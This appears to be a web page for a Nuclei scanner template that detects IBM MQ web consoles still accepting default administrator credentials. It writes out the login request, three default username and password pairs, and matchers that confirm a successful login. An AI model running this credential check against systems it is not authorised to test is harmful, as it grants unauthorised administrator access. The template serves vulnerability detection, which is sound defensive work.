IBM MQSeries Web Console Default Login

ID: ibm-mqseries-default-login

Severity: high

Author: righettod

Tags: ibm,default-login

Description

IBM MQ and REST API default admin credentials were discovered. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system.

YAML Source

id: ibm-mqseries-default-login

info:
  name: IBM MQSeries Web Console Default Login
  author: righettod
  severity: high
  description: IBM MQ and REST API default admin credentials were discovered. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system.
  reference:
    - https://github.com/ibm-messaging/mq-container/blob/master/etc/mqm/mq.htpasswd
    - https://vulners.com/nessus/IBM_MQ_DEFAULT_CREDENTIALS.NASL
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 3
  tags: ibm,default-login

http:
  - raw:
      - |
        POST /ibmmq/console/j_security_check HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/ibmmq/console/login.html

        j_username={{username}}&j_password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
        - app
        - mqadmin
      password:
        - passw0rd
        - passw0rd
        - mqadmin

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "LtpaToken2_"

      - type: status
        status:
          - 302
# digest: 490a0046304402204ed06b78ed69dee9db1ef6bbae1e9f4b5561108be88c44a30ece4d044f6bde3002203411afbaf982e2082a8eafba5fc8c6606d91cd1fd7aceec2ce3b6b410f350c3f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/ibm/ibm-mqseries-default-login.yaml"

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